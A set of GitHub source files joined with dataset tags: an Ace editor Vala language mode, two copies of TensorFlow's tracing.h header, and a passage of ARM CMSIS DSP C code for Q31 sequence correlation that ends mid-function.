* ***** END LICENSE BLOCK ***** */
/*
THIS FILE WAS AUTOGENERATED BY mode.tmpl.js
*/
define(function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var TextMode = require("./text").Mode;
var Tokenizer = require("../tokenizer").Tokenizer;
var ValaHighlightRules = require("./vala_highlight_rules").ValaHighlightRules;
var FoldMode = require("./folding/cstyle").FoldMode;
var CstyleBehaviour = require("./behaviour/cstyle").CstyleBehaviour;
var CStyleFoldMode = require("./folding/cstyle").FoldMode;
var MatchingBraceOutdent = require("./matching_brace_outdent").MatchingBraceOutdent;
var Mode = function() {
this.HighlightRules = ValaHighlightRules;
this.$outdent = new MatchingBraceOutdent();
this.$behaviour = new CstyleBehaviour();
this.foldingRules = new CStyleFoldMode();
};
oop.inherits(Mode, TextMode);
(function() {
this.lineCommentStart = "//";
this.blockComment = {start: "/*", end: "*/"};
this.getNextLineIndent = function(state, line, tab) {
var indent = this.$getIndent(line);
var tokenizedLine = this.getTokenizer().getLineTokens(line, state);
var tokens = tokenizedLine.tokens;
var endState = tokenizedLine.state;
if (tokens.length && tokens[tokens.length-1].type == "comment") {
return indent;
}
if (state == "start" || state == "no_regex") {
var match = line.match(/^.*(?:\bcase\b.*\:|[\{\(\[])\s*$/);
if (match) {
indent += tab;
}
} else if (state == "doc-start") {
if (endState == "start" || endState == "no_regex") {
return "";
}
var match = line.match(/^\s*(\/?)\*/);
if (match) {
if (match[1]) {
indent += " ";
}
indent += "* ";
}
}
return indent;
};
this.checkOutdent = function(state, line, input) {
return this.$outdent.checkOutdent(line, input);
};
this.autoOutdent = function(state, doc, row) {
this.$outdent.autoOutdent(doc, row);
};
// Extra logic goes here.
this.$id = "ace/mode/vala"
}).call(Mode.prototype);
exports.Mode = Mode;
});
|
{
"pile_set_name": "Github"
}
|
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_PLATFORM_TRACING_H_
#define TENSORFLOW_PLATFORM_TRACING_H_
// Tracing interface
#include <atomic>
#include <map>
#include <memory>
#include "tensorflow/core/lib/core/stringpiece.h"
#include "tensorflow/core/lib/strings/strcat.h"
#include "tensorflow/core/platform/macros.h"
#include "tensorflow/core/platform/mutex.h"
#include "tensorflow/core/platform/platform.h"
#include "tensorflow/core/platform/types.h"
namespace tensorflow {
namespace port {
class Tracing {
public:
// This enumeration contains the identifiers of all TensorFlow
// threadscape events and code regions. Threadscape assigns its
// own identifiers at runtime when we register our events and we
// cannot know in advance what IDs it will choose. The "RecordEvent"
// method and "ScopedActivity" use these event IDs for consistency
// and remap them to threadscape IDs at runtime. This enum is limited
// to 64 values since we use a bitmask to configure which events are
// enabled. It must also be kept in step with the code in
// "Tracing::EventCategoryString".
enum EventCategory {
kScheduleClosure = 0,
kRunClosure = 1,
kCompute = 2,
kEventCategoryMax = 3 // sentinel - keep last
};
// Note: We currently only support up to 64 categories.
static_assert(kEventCategoryMax <= 64, "only support up to 64 events");
// Called by main programs to initialize tracing facilities
static void Initialize();
// Return the pathname of the directory where we are writing log files.
static const char* LogDir();
// Returns a non-zero identifier which can be used to correlate
// related events.
static inline uint64 UniqueId();
// Returns true if a trace is in progress. Can be used to reduce tracing
// overheads in fast-path code.
static inline bool IsActive();
// Associate name with the current thread.
static void RegisterCurrentThread(const char* name);
// Posts an event with the supplied category and arg.
static void RecordEvent(EventCategory category, uint64 arg);
// Traces a region of code. Posts a tracing "EnterCodeRegion" event
// when created and an "ExitCodeRegion" event when destroyed.
class ScopedActivity {
public:
explicit ScopedActivity(EventCategory category, uint64 arg);
~ScopedActivity();
private:
#if defined(PLATFORM_GOOGLE)
const bool enabled_;
const int32 region_id_;
#endif
TF_DISALLOW_COPY_AND_ASSIGN(ScopedActivity);
};
// Trace collection engine can be registered with this module.
// If no engine is registered, ScopedAnnotation and TraceMe are no-ops.
class Engine;
static void RegisterEngine(Engine*);
// Forward declaration of the GPU utility classes.
class ScopedAnnotation;
class TraceMe;
private:
friend class TracingTest;
friend class ScopedAnnotation;
friend class TraceMe;
static std::atomic<Tracing::Engine*> tracing_engine_;
static Tracing::Engine* engine() {
return tracing_engine_.load(std::memory_order_acquire);
}
static void RegisterEvent(EventCategory id, const char* name);
static const char* EventCategoryString(EventCategory category);
//
// Parses event mask expressions in 'value' of the form:
// expr ::= <term> (,<term>)*
// term ::= <event> | "!" <event>
// event ::= "ALL" | <wait_event> | <other_event>
// wait_event ::= "ENewSession" | "ECloseSession" | ...
// other_event ::= "Send" | "Wait" | ...
// ALL denotes all events, <event> turns on tracing for this event, and
// !<event> turns off tracing for this event.
// If the expression can be parsed correctly it returns true and sets
// the event_mask_. Otherwise it returns false and the event_mask_ is left
// unchanged.
static bool ParseEventMask(const char* flagname, const string& value);
// Bit mask of enabled trace categories.
static uint64 event_mask_;
// Records the mappings between Threadscape IDs and the "EventCategory" enum.
static int32 category_id_[kEventCategoryMax];
static std::map<string, int32>* name_map_;
};
// Trace collection engine that actually implements collection.
class Tracing::Engine {
public:
Engine() {}
virtual ~Engine();
// Returns true if Tracing is currently enabled.
virtual bool IsEnabled() const = 0;
// Represents an active annotation.
class Annotation {
public:
Annotation() {}
virtual ~Annotation();
};
// Represents an active trace.
class Tracer {
public:
Tracer() {}
virtual ~Tracer();
};
private:
friend class ScopedAnnotation;
friend class TraceMe;
// Register the specified name as an annotation on the current thread.
// Caller should delete the result to remove the annotation.
// Annotations from the same thread are destroyed in a LIFO manner.
// May return nullptr if annotations are not supported.
virtual Annotation* PushAnnotation(StringPiece name) = 0;
// Start tracing under the specified label. Caller should delete the
// result to stop tracing.
// May return nullptr if tracing is not supported.
virtual Tracer* StartTracing(StringPiece label) = 0;
};
// This class permits a user to apply annotation on kernels and memcpys
// when launching them. While an annotation is in scope, all activities
// within that scope get their names replaced by the annotation. The kernel
// name replacement is done when constructing the protobuf for sending out to
// a client (e.g., the stubby requestor) for both API and Activity records.
//
// Ownership: The creator of ScopedAnnotation assumes ownership of the object.
//
// Usage: {
// ScopedAnnotation annotation("first set of kernels");
// Kernel1<<<x,y>>>;
// LaunchKernel2(); // Which eventually launches a cuda kernel.
// }
// In the above scenario, the GPUProf UI would show 2 kernels with the name
// "first set of kernels" executing -- they will appear as the same kernel.
class Tracing::ScopedAnnotation {
public:
explicit ScopedAnnotation(StringPiece name);
// If tracing is enabled, set up an annotation with a label of
// "<name_part1>:<name_part2>". Can be cheaper than the
// single-argument constructor because the concatenation of the
// label string is only done if tracing is enabled.
ScopedAnnotation(StringPiece name_part1, StringPiece name_part2);
// Returns true iff scoped annotations are active.
static bool Enabled() {
auto e = Tracing::engine();
return e && e->IsEnabled();
}
private:
std::unique_ptr<Engine::Annotation> annotation_;
};
// TODO(opensource): clean up the scoped classes for GPU tracing.
// This class permits user-specified (CPU) tracing activities. A trace
// activity is started when an object of this class is created and stopped
// when the object is destroyed.
class Tracing::TraceMe {
public:
explicit TraceMe(StringPiece name);
// If tracing is enabled, set up a traceMe with a label of
// "<name_part1>:<name_part2>". This can be cheaper than the
// single-argument constructor because the concatenation of the
// label string is only done if tracing is enabled.
TraceMe(StringPiece name_part1, StringPiece name_part2);
private:
std::unique_ptr<Engine::Tracer> tracer_;
};
inline Tracing::ScopedAnnotation::ScopedAnnotation(StringPiece name) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
annotation_.reset(e->PushAnnotation(name));
}
}
inline Tracing::ScopedAnnotation::ScopedAnnotation(StringPiece name_part1,
StringPiece name_part2) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
annotation_.reset(
e->PushAnnotation(strings::StrCat(name_part1, ":", name_part2)));
}
}
inline Tracing::TraceMe::TraceMe(StringPiece name) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
tracer_.reset(e->StartTracing(name));
}
}
inline Tracing::TraceMe::TraceMe(StringPiece name_part1,
StringPiece name_part2) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
tracer_.reset(
e->StartTracing(strings::StrCat(name_part1, ":", name_part2)));
}
}
} // namespace port
} // namespace tensorflow
#if defined(PLATFORM_GOOGLE)
#include "tensorflow/core/platform/google/tracing_impl.h"
#else
#include "tensorflow/core/platform/default/tracing_impl.h"
#endif
#endif // TENSORFLOW_PLATFORM_TRACING_H_
|
{
"pile_set_name": "Github"
}
|
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_PLATFORM_TRACING_H_
#define TENSORFLOW_PLATFORM_TRACING_H_
// Tracing interface
#include <atomic>
#include <map>
#include <memory>
#include "tensorflow/core/lib/core/stringpiece.h"
#include "tensorflow/core/lib/strings/strcat.h"
#include "tensorflow/core/platform/macros.h"
#include "tensorflow/core/platform/mutex.h"
#include "tensorflow/core/platform/platform.h"
#include "tensorflow/core/platform/types.h"
namespace tensorflow {
namespace port {
class Tracing {
public:
// This enumeration contains the identifiers of all TensorFlow
// threadscape events and code regions. Threadscape assigns its
// own identifiers at runtime when we register our events and we
// cannot know in advance what IDs it will choose. The "RecordEvent"
// method and "ScopedActivity" use these event IDs for consistency
// and remap them to threadscape IDs at runtime. This enum is limited
// to 64 values since we use a bitmask to configure which events are
// enabled. It must also be kept in step with the code in
// "Tracing::EventCategoryString".
enum EventCategory {
kScheduleClosure = 0,
kRunClosure = 1,
kCompute = 2,
kEventCategoryMax = 3 // sentinel - keep last
};
// Note: We currently only support up to 64 categories.
static_assert(kEventCategoryMax <= 64, "only support up to 64 events");
// Called by main programs to initialize tracing facilities
static void Initialize();
// Return the pathname of the directory where we are writing log files.
static const char* LogDir();
// Returns a non-zero identifier which can be used to correlate
// related events.
static inline uint64 UniqueId();
// Returns true if a trace is in progress. Can be used to reduce tracing
// overheads in fast-path code.
static inline bool IsActive();
// Associate name with the current thread.
static void RegisterCurrentThread(const char* name);
// Posts an event with the supplied category and arg.
static void RecordEvent(EventCategory category, uint64 arg);
// Traces a region of code. Posts a tracing "EnterCodeRegion" event
// when created and an "ExitCodeRegion" event when destroyed.
class ScopedActivity {
public:
explicit ScopedActivity(EventCategory category, uint64 arg);
~ScopedActivity();
private:
#if defined(PLATFORM_GOOGLE)
const bool enabled_;
const int32 region_id_;
#endif
TF_DISALLOW_COPY_AND_ASSIGN(ScopedActivity);
};
// Trace collection engine can be registered with this module.
// If no engine is registered, ScopedAnnotation and TraceMe are no-ops.
class Engine;
static void RegisterEngine(Engine*);
// Forward declaration of the GPU utility classes.
class ScopedAnnotation;
class TraceMe;
private:
friend class TracingTest;
friend class ScopedAnnotation;
friend class TraceMe;
static std::atomic<Tracing::Engine*> tracing_engine_;
static Tracing::Engine* engine() {
return tracing_engine_.load(std::memory_order_acquire);
}
static void RegisterEvent(EventCategory id, const char* name);
static const char* EventCategoryString(EventCategory category);
//
// Parses event mask expressions in 'value' of the form:
// expr ::= <term> (,<term>)*
// term ::= <event> | "!" <event>
// event ::= "ALL" | <wait_event> | <other_event>
// wait_event ::= "ENewSession" | "ECloseSession" | ...
// other_event ::= "Send" | "Wait" | ...
// ALL denotes all events, <event> turns on tracing for this event, and
// !<event> turns off tracing for this event.
// If the expression can be parsed correctly it returns true and sets
// the event_mask_. Otherwise it returns false and the event_mask_ is left
// unchanged.
static bool ParseEventMask(const char* flagname, const string& value);
// Bit mask of enabled trace categories.
static uint64 event_mask_;
// Records the mappings between Threadscape IDs and the "EventCategory" enum.
static int32 category_id_[kEventCategoryMax];
static std::map<string, int32>* name_map_;
};
// Trace collection engine that actually implements collection.
class Tracing::Engine {
public:
Engine() {}
virtual ~Engine();
// Returns true if Tracing is currently enabled.
virtual bool IsEnabled() const = 0;
// Represents an active annotation.
class Annotation {
public:
Annotation() {}
virtual ~Annotation();
};
// Represents an active trace.
class Tracer {
public:
Tracer() {}
virtual ~Tracer();
};
private:
friend class ScopedAnnotation;
friend class TraceMe;
// Register the specified name as an annotation on the current thread.
// Caller should delete the result to remove the annotation.
// Annotations from the same thread are destroyed in a LIFO manner.
// May return nullptr if annotations are not supported.
virtual Annotation* PushAnnotation(StringPiece name) = 0;
// Start tracing under the specified label. Caller should delete the
// result to stop tracing.
// May return nullptr if tracing is not supported.
virtual Tracer* StartTracing(StringPiece label) = 0;
};
// This class permits a user to apply annotation on kernels and memcpys
// when launching them. While an annotation is in scope, all activities
// within that scope get their names replaced by the annotation. The kernel
// name replacement is done when constructing the protobuf for sending out to
// a client (e.g., the stubby requestor) for both API and Activity records.
//
// Ownership: The creator of ScopedAnnotation assumes ownership of the object.
//
// Usage: {
// ScopedAnnotation annotation("first set of kernels");
// Kernel1<<<x,y>>>;
// LaunchKernel2(); // Which eventually launches a cuda kernel.
// }
// In the above scenario, the GPUProf UI would show 2 kernels with the name
// "first set of kernels" executing -- they will appear as the same kernel.
class Tracing::ScopedAnnotation {
public:
explicit ScopedAnnotation(StringPiece name);
// If tracing is enabled, set up an annotation with a label of
// "<name_part1>:<name_part2>". Can be cheaper than the
// single-argument constructor because the concatenation of the
// label string is only done if tracing is enabled.
ScopedAnnotation(StringPiece name_part1, StringPiece name_part2);
private:
std::unique_ptr<Engine::Annotation> annotation_;
};
// TODO(opensource): clean up the scoped classes for GPU tracing.
// This class permits user-specified (CPU) tracing activities. A trace
// activity is started when an object of this class is created and stopped
// when the object is destroyed.
class Tracing::TraceMe {
public:
explicit TraceMe(StringPiece name);
private:
std::unique_ptr<Engine::Tracer> tracer_;
};
inline Tracing::ScopedAnnotation::ScopedAnnotation(StringPiece name) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
annotation_.reset(e->PushAnnotation(name));
}
}
inline Tracing::ScopedAnnotation::ScopedAnnotation(StringPiece name_part1,
StringPiece name_part2) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
annotation_.reset(
e->PushAnnotation(strings::StrCat(name_part1, ":", name_part2)));
}
}
inline Tracing::TraceMe::TraceMe(StringPiece name) {
auto e = Tracing::engine();
if (e && e->IsEnabled()) {
tracer_.reset(e->StartTracing(name));
}
}
} // namespace port
} // namespace tensorflow
#if defined(PLATFORM_GOOGLE)
#include "tensorflow/core/platform/google/tracing_impl.h"
#else
#include "tensorflow/core/platform/default/tracing_impl.h"
#endif
#endif // TENSORFLOW_PLATFORM_TRACING_H_
|
{
"pile_set_name": "Github"
}
|
/* ----------------------------------------------------------------------
* Copyright (C) 2010 ARM Limited. All rights reserved.
*
* $Date: 15. July 2011
* $Revision: V1.0.10
*
* Project: CMSIS DSP Library
* Title: arm_correlate_q31.c
*
* Description: Correlation of Q31 sequences.
*
* Target Processor: Cortex-M4/Cortex-M3/Cortex-M0
*
* Version 1.0.10 2011/7/15
* Big Endian support added and Merged M0 and M3/M4 Source code.
*
* Version 1.0.3 2010/11/29
* Re-organized the CMSIS folders and updated documentation.
*
* Version 1.0.2 2010/11/11
* Documentation updated.
*
* Version 1.0.1 2010/10/05
* Production release and review comments incorporated.
*
* Version 1.0.0 2010/09/20
* Production release and review comments incorporated
*
* Version 0.0.7 2010/06/10
* Misra-C changes done
*
* -------------------------------------------------------------------- */
#include "arm_math.h"
/**
* @ingroup groupFilters
*/
/**
* @addtogroup Corr
* @{
*/
/**
* @brief Correlation of Q31 sequences.
* @param[in] *pSrcA points to the first input sequence.
* @param[in] srcALen length of the first input sequence.
* @param[in] *pSrcB points to the second input sequence.
* @param[in] srcBLen length of the second input sequence.
* @param[out] *pDst points to the location where the output result is written. Length 2 * max(srcALen, srcBLen) - 1.
* @return none.
*
* @details
* <b>Scaling and Overflow Behavior:</b>
*
* \par
* The function is implemented using an internal 64-bit accumulator.
* The accumulator has a 2.62 format and maintains full precision of the intermediate multiplication results but provides only a single guard bit.
* There is no saturation on intermediate additions.
* Thus, if the accumulator overflows it wraps around and distorts the result.
* The input signals should be scaled down to avoid intermediate overflows.
* Scale down one of the inputs by 1/min(srcALen, srcBLen)to avoid overflows since a
* maximum of min(srcALen, srcBLen) number of additions is carried internally.
* The 2.62 accumulator is right shifted by 31 bits and saturated to 1.31 format to yield the final result.
*
* \par
* See <code>arm_correlate_fast_q31()</code> for a faster but less precise implementation of this function for Cortex-M3 and Cortex-M4.
*/
void arm_correlate_q31(
q31_t * pSrcA,
uint32_t srcALen,
q31_t * pSrcB,
uint32_t srcBLen,
q31_t * pDst)
{
#ifndef ARM_MATH_CM0
/* Run the below code for Cortex-M4 and Cortex-M3 */
q31_t *pIn1; /* inputA pointer */
q31_t *pIn2; /* inputB pointer */
q31_t *pOut = pDst; /* output pointer */
q31_t *px; /* Intermediate inputA pointer */
q31_t *py; /* Intermediate inputB pointer */
q31_t *pSrc1; /* Intermediate pointers */
q63_t sum, acc0, acc1, acc2, acc3; /* Accumulators */
q31_t x0, x1, x2, x3, c0; /* temporary variables for holding input and coefficient values */
uint32_t j, k = 0u, count, blkCnt, outBlockSize, blockSize1, blockSize2, blockSize3; /* loop counter */
int32_t inc = 1; /* Destination address modifier */
/* The algorithm implementation is based on the lengths of the inputs. */
/* srcB is always made to slide across srcA. */
/* So srcBLen is always considered as shorter or equal to srcALen */
/* But CORR(x, y) is reverse of CORR(y, x) */
/* So, when srcBLen > srcALen, output pointer is made to point to the end of the output buffer */
/* and the destination pointer modifier, inc is set to -1 */
/* If srcALen > srcBLen, zero pad has to be done to srcB to make the two inputs of same length */
/* But to improve the performance,
* we include zeroes in the output instead of zero padding either of the the inputs*/
/* If srcALen > srcBLen,
* (srcALen - srcBLen) zeroes has to included in the starting of the output buffer */
/* If srcALen < srcBLen,
* (srcALen - srcBLen) zeroes has to included in the ending of the output buffer */
if(srcALen >= srcBLen)
{
/* Initialization of inputA pointer */
pIn1 = (pSrcA);
/* Initialization of inputB pointer */
pIn2 = (pSrcB);
/* Number of output samples is calculated */
outBlockSize = (2u * srcALen) - 1u;
/* When srcALen > srcBLen, zero padding is done to srcB
* to make their lengths equal.
* Instead, (outBlockSize - (srcALen + srcBLen - 1))
* number of output samples are made zero */
j = outBlockSize - (srcALen + (srcBLen - 1u));
/* Updating the pointer position to non zero value */
pOut += j;
}
else
{
/* Initialization of inputA pointer */
pIn1 = (pSrcB);
/* Initialization of inputB pointer */
pIn2 = (pSrcA);
/* srcBLen is always considered as shorter or equal to srcALen */
j = srcBLen;
srcBLen = srcALen;
srcALen = j;
/* CORR(x, y) = Reverse order(CORR(y, x)) */
/* Hence set the destination pointer to point to the last output sample */
pOut = pDst + ((srcALen + srcBLen) - 2u);
/* Destination address modifier is set to -1 */
inc = -1;
}
/* The function is internally
* divided into three parts according to the number of multiplications that has to be
* taken place between inputA samples and inputB samples. In the first part of the
* algorithm, the multiplications increase by one for every iteration.
* In the second part of the algorithm, srcBLen number of multiplications are done.
* In the third part of the algorithm, the multiplications decrease by one
* for every iteration.*/
/* The algorithm is implemented in three stages.
* The loop counters of each stage is initiated here. */
blockSize1 = srcBLen - 1u;
blockSize2 = srcALen - (srcBLen - 1u);
blockSize3 = blockSize1;
/* --------------------------
* Initializations of stage1
* -------------------------*/
/* sum = x[0] * y[srcBlen - 1]
* sum = x[0] * y[srcBlen - 2] + x[1] * y[srcBlen - 1]
* ....
* sum = x[0] * y[0] + x[1] * y[1] +...+ x[srcBLen - 1] * y[srcBLen - 1]
*/
/* In this stage the MAC operations are increased by 1 for every iteration.
The count variable holds the number of MAC operations performed */
count = 1u;
/* Working pointer of inputA */
px = pIn1;
/* Working pointer of inputB */
pSrc1 = pIn2 + (srcBLen - 1u);
py = pSrc1;
/* ------------------------
* Stage1 process
* ----------------------*/
/* The first stage starts here */
while(blockSize1 > 0u)
{
/* Accumulator is made zero for every iteration */
sum = 0;
/* Apply loop unrolling and compute 4 MACs simultaneously. */
k = count >> 2;
/* First part of the processing with loop unrolling. Compute 4 MACs at a time.
** a second loop below computes MACs for the remaining 1 to 3 samples. */
while(k > 0u)
{
/* x[0] * y[srcBLen - 4] */
sum += (q63_t) * px++ * (*py++);
/* x[1] * y[srcBLen - 3] */
sum += (q63_t) * px++ * (*py++);
/* x[2] * y[srcBLen - 2] */
sum += (q63_t) * px++ * (*py++);
/* x[3] * y[srcBLen - 1] */
sum += (q63_t) * px++ * (*py++);
/* Decrement the loop counter */
k--;
}
/* If the count is not a multiple of 4, compute any remaining MACs here.
** No loop unrolling is used. */
k = count % 0x4u;
while(k > 0u)
{
/* Perform the multiply-accumulates */
/* x[0] * y[srcBLen - 1] */
sum += (q63_t) * px++ * (*py++);
/* Decrement the loop counter */
k--;
}
/* Store the result in the accumulator in the destination buffer. */
*pOut = (q31_t) (sum >> 31);
/* Destination pointer is updated according to the address modifier, inc */
pOut += inc;
/* Update the inputA and inputB pointers for next MAC calculation */
py = pSrc1 - count;
px = pIn1;
/* Increment the MAC count */
count++;
/* Decrement the loop counter */
blockSize1--;
}
/* --------------------------
* Initializations of stage2
* ------------------------*/
/* sum = x[0] * y[0] + x[1] * y[1] +...+ x[srcBLen-1] * y[srcBLen-1]
* sum = x[1] * y[0] + x[2] * y[1] +...+ x[srcBLen] * y[srcBLen-1]
* ....
* sum = x[srcALen-srcBLen-2] * y[0] + x[srcALen-srcBLen-1] * y[1] +...+ x[srcALen-1] * y[srcBLen-1]
*/
/* Working pointer of inputA */
px = pIn1;
/* Working pointer of inputB */
py = pIn2;
/* count is index by which the pointer pIn1 to be incremented */
count = 1u;
/* -------------------
* Stage2 process
* ------------------*/
/* Stage2 depends on srcBLen as in this stage srcBLen number of MACS are performed.
* So, to loop unroll over blockSize2,
* srcBLen should be greater than or equal to 4 */
if(srcBLen >= 4u)
{
/* Loop unroll over blockSize2, by 4 */
blkCnt = blockSize2 >> 2u;
while(blkCnt > 0u)
{
/* Set all accumulators to zero */
acc0 = 0;
acc1 = 0;
acc2 = 0;
acc3 = 0;
/* read x[0], x[1], x[2] samples */
x0 = *(px++);
x1 = *(px++);
x2 = *(px++);
/* Apply loop unrolling and compute 4 MACs simultaneously. */
k = srcBLen >> 2u;
/* First part of the processing with loop unrolling. Compute 4 MACs at a time.
** a second loop below computes MACs for the remaining 1 to 3 samples. */
do
{
/* Read y[0] sample */
c0 = *(py++);
/* Read x[3] sample */
x3 = *(px++);
/* Perform the multiply-accumulate */
/* acc0 += x[0] * y[0] */
acc0 += ((q63_t) x0 * c0);
/* acc1 += x[1] * y[0] */
acc1 += ((q63_t) x1 * c0);
/* acc2 += x[2] * y[0] */
acc2 += ((q63_t) x2 * c0);
/* acc3 += x[3] * y[0] */
acc3 += ((q63_t) x3 * c0);
/* Read y[1] sample */
c0 = *(py++);
/* Read x[4] sample */
x0 = *(px++);
/* Perform the multiply-accumulates */
/* acc0 += x[1] * y[1] */
acc0 += ((q63_t) x1 * c0);
/* acc1 += x[2] * y[1] */
acc1 += ((q63_t) x2 * c0);
/* acc2 += x[3] * y[1] */
acc2 += ((q63_t) x3 * c0);
/* acc3 += x[4] * y[1] */
acc3 += ((q63_t) x0 * c0);
/* Read y[2] sample */
c0 = *(py++);
/* Read x[5] sample */
x1 = *(px++);
/* Perform the multiply-accumulates */
/* acc0 += x[2] * y[2] */
acc0 += ((q63_t) x2 * c0);
/* acc1 += x[3] * y[2] */
acc1 += ((q63_t) x3 * c0);
/* acc2 += x[4] * y[2] */
acc2 += ((q63_t) x0 * c0);
/* acc3 += x[5] * y[2] */
acc3 += ((q63_t) x1 * c0);
/* Read y[3] sample */
c0 = *(py++);
/* Read x[6] sample */
x2 = *(px++);
/* Perform the multiply-accumulates */
/* acc0 += x[3] * y[3] */
acc0 += ((q63_t) x3 * c0);
/* acc1 += x[4] * y[3] */
acc1 += ((q63_t) x0 * c0);
/* acc2 += x[5] * y[3] */
acc2 += ((q63_t) x1 * c0);
/* acc3 += x[6] * y[3] */
acc3 += ((q63_t) x2 * c0);
} while(--k);
/* If the srcBLen is not a multiple of 4, compute any remaining MACs here.
** No loop unrolling is used. */
k = srcBLen % 0x4u;
while(k > 0u)
{
/* Read y[4] sample */
c0 = *(py++);
/* Read x[7] sample */
x3 = *(px++);
/* Perform the multiply-accumulates */
/* acc0 += x[4] * y[4] */
acc0 += ((q63_t) x0 * c0);
/* acc1 += x[5] * y[4] */
acc1 += ((q63_t) x1 * c0);
/* acc2 += x[6] * y[4] */
acc2 += ((q63_t) x2 * c0);
/* acc3 += x[7] * y[4] */
acc3 += ((q63_t) x3 * c0);
/* Reuse the present samples for the next MAC */
x0 = x1;
x1 = x2;
x2 = x3;
/* Decrement the loop counter */
k--;
}
/* Store the result in the accumulator in the destination buffer. */
*pOut = (q31_t) (acc0 >> 31);
/* Destination pointer is updated according to the address modifier, inc */
pOut += inc;
*pOut = (q31_t) (acc1 >> 31);
pOut += inc;
*pOut = (q31_t) (acc2 >> 31);
pOut += inc;
*pOut = (q31_t) (acc3 >> 31);
pOut += inc;
/* Update the inputA and inputB pointers for next MAC calculation */
px = pIn1 + (count * 4u);
py = pIn2;
/* Increment the pointer pIn1 index, count by 1 */
count++;
/* Decrement the loop counter */
blkCnt--;
}
/* If the blockSize2 is not a multiple of 4, compute any remaining output samples here.
** No loop unrolling is used. */
blkCnt = blockSize2 % 0x4u;
while(blkCnt > 0u)
{
/* Accumulator is made zero for every iteration */
sum = 0;
/* Apply loop unrolling and compute 4 MACs simultaneously. */
k = srcBLen >> 2u;
/* First part of the processing with loop unrolling. Compute 4 MACs at a time.
** a second loop below computes MACs for the remaining 1 to 3 samples. */
while(k > 0u)
{
/* Perform the multiply-accumulates */
sum += (q63_t) * px++ * (*py++);
sum += (q63_t) * px++ * (*py++);
sum += (q63_t) * px++ * (*py++);
sum += (q63_t) * px++ * (*py++);
/* Decrement the loop counter */
k--;
}
/* If the srcBLen is not a multiple of 4, compute any remaining MACs here.
** No loop unrolling is used. */
k = srcBLen % 0x4u;
while(k > 0u)
{
/* Perform the multiply-accumulate */
sum += (q63_t) * px++ * (*py++);
/* Decrement the loop counter */
k--;
}
/* Store the result in the accumulator in the destination buffer. */
*pOut = (q31_t) (sum >> 31);
/* Destination pointer is updated according to the address modifier, inc */
pOut += inc;
/* Update the inputA and inputB pointers for next MAC calculation */
px = pIn1 + count;
py = pIn2;
/* Increment the MAC count */
count++;
/* Decrement the loop counter */
blkCnt--;
}
}
else
{
/* If the srcBLen is not a multiple of 4,
* the blockSize2 loop cannot be unrolled by 4 */
blkCnt = blockSize2;
while(blkCnt > 0u)
{
/* Accumulator is made zero for every iteration */
sum = 0;
/* Loop over srcBLen */
k = srcBLen;
while(k > 0u)
{
/* Perform the multiply-accumulate */
sum += (q63_t) * px++ * (*py++);
/* Decrement the loop counter */
k--;
}
/* Store the result in the accumulator in the destination buffer. */
*pOut = (q31_t) (sum >> 31);
/* Destination pointer is updated according to the address modifier, inc */
pOut += inc;
/* Update the inputA and inputB pointers for next MAC calculation */
px = pIn1 + count;
py = pIn2;
/* Increment the MAC count */
count++;
/* Decrement the loop counter */
blkCnt--;
}
}
/* --------------------------
* Initializations of stage3
* -------------------------*/
/* sum += x[srcALen-srcBLen+1] * y[0] + x[srcALen-srcBLen+2] * y[1] +...+ x[srcALen-1] * y[srcBLen-1]
* sum += x[srcALen-srcBLen+2] * y[0] + x[srcALen-srcBLen+3] * y[1] +...+ x[srcALen-1] * y[srcBLen-1]
* ....
* sum += x[srcALen-2] * y[0] + x[srcALen-1] * y[1]
* sum += x[srcALen-1] * y[0]
*/
/* In this stage the MAC operations are decreased by 1 for every iteration.
The count variable holds the number of MAC operations performed */
count = srcBLen - 1u;
/* Working pointer of inputA */
pSrc1 = pIn1 + (srcALen - (srcBLen - 1u));
px = pSrc1;
/* Working pointer of inputB */
py = pIn2;
/* -------------------
* Stage3 process
* ------------------*/
while(blockSize3 > 0u)
{
/* Accumulator is made zero for every iteration */
sum = 0;
/* Apply loop unrolling and compute 4 MACs simultaneously. */
k = count >> 2u;
/* First part of the processing with loop unrolling. Compute 4 MACs at a time.
** a second loop below computes MACs for the remaining 1 to 3 samples. */
while(k > 0u)
{
/* Perform the multiply-accumulates */
/* sum += x[srcALen - srcBLen + 4] * y[3] */
sum += (q63_t) * px++ * (*py++);
/* sum += x[srcALen - srcBLen + 3] * y[2] */
sum += (q63_t) * px++ * (*py++);
/* sum += x[srcALen - srcBLen + 2] * y[1] */
sum += (q63_t) * px++ * (*py++);
/* sum += x[srcALen - srcBLen + 1] * y[0] */
sum += (q63_t) * px++ * (*py++);
/* Decrement the loop counter */
k--;
}
/* If the count is not a multiple of 4, compute any remaining MACs here.
** No loop unrolling is used. */
k = count % 0x4u;
while(k > 0u)
{
/* Perform the multiply-accumulates */
sum += (q63_t) * px++ * (*py++);
/* Decrement the loop counter */
k--;
}
/* Store the result in the accumulator in the destination buffer. */
*pOut = (q31_t) (sum >> 31);
/* Destination pointer is updated according to the address modifier, inc */
pOut += inc;
/* Update the inputA and inputB pointers for next MAC calculation */
px = ++pSrc1;
py = pIn2;
/* Decrement the MAC count */
count--;
/* Decrement the loop counter */
blockSize3--;
}
#else
/* Run the below code for Cortex-M0 */
q31_t *pIn1 = pSrcA; /* inputA pointer */
q31_t *pIn2 = pSrcB + (srcBLen - 1u); /* inputB pointer */
